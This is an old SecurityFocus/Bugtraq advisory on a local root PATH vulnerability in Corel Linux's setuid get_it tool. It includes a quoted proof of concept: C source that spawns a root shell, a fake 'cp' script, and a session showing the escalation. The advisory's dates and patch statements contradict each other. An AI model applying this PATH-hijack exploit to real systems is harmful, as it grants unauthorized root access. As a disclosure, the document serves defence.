Corel Linux get_it PATH Vulnerability

Bugtraq ID:	928
Class:	Environment Error
CVE:
Remote:	No
Local:	Yes
Published:	Jan 12 2000 12:00AM
Updated:	Jan 12 2000 12:00AM
Credit:	First posted to Bugtraq by Cesar Tascon Alvarez <[email protected]> on January 12, 1999.
Vulnerable:	Corel Linux OS 1.0
Not Vulnerable:

Corel Linux get_it PATH Vulnerability

A component of the "Corel Update" utility distributed with Corel's Linux OS is vulnerable to a local PATH vulnerability. The binary "get_it", which is stored in /usr/X11R6/bin, is setuid root installed by default on all Corel LinuxOS systems (it's part of their .deb package install/update utils). get_it relies on PATH to be valid when it calls 'cp' (without the full path), making it possible to spawn an arbitrary program (called 'cp') with inherited root privs by changing the first searched path to one in which a malicious cp lies. The consequences are immediate local root compromise.

Corel Linux get_it PATH Vulnerability

The following example was included in a post to Bugtraq by Cesar Tascon Alvarez <[email protected]> regarding this issue:

CorelLinux:~$ id
uid=1001(tascon) gid=1001(tascon) groups=1001(tascon)
CorelLinux:~$ cat misu.c
#include <stdio.h>
#include <unistd.h>

main(argc,argv)
int argc;
char **argv;
{
if (argc==2);
setuid(atoi(argv[1]));
execlp("/bin/bash","/bin/bash",NULL);
}
CorelLinux:~$ cc -o misu misu.c
CorelLinux:~$ pwd
/home/tascon
CorelLinux:~$ cat cp
echo $1 $2 $3
/home/tascon/misu 0
CorelLinux:~$ export PATH=.:$PATH
CorelLinux:~$ get_it
/usr/X11R6/share/apps/get_it/html/largebanner.html /tmp/Get_It.0.a05872
CorelLinux:~# id
uid=0(root) gid=1001(tascon) groups=1001(tascon)
CorelLinux:~# exit
exit
/usr/X11R6/share/apps/get_it/html/smallbanner.html /tmp/Get_It.1.a05872
CorelLinux:~# id
uid=0(root) gid=1001(tascon) groups=1001(tascon)

Corel Linux get_it PATH Vulnerability

Solution:
Corel has released a patch, available at:

http://linux.corel.com/products/linux_os/techsupport/update.htm

Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].

Corel Linux get_it PATH Vulnerability

References:

• Corel Linux Homepage (Corel)
  
• Potential Security Issue in Corel® Update (Corel)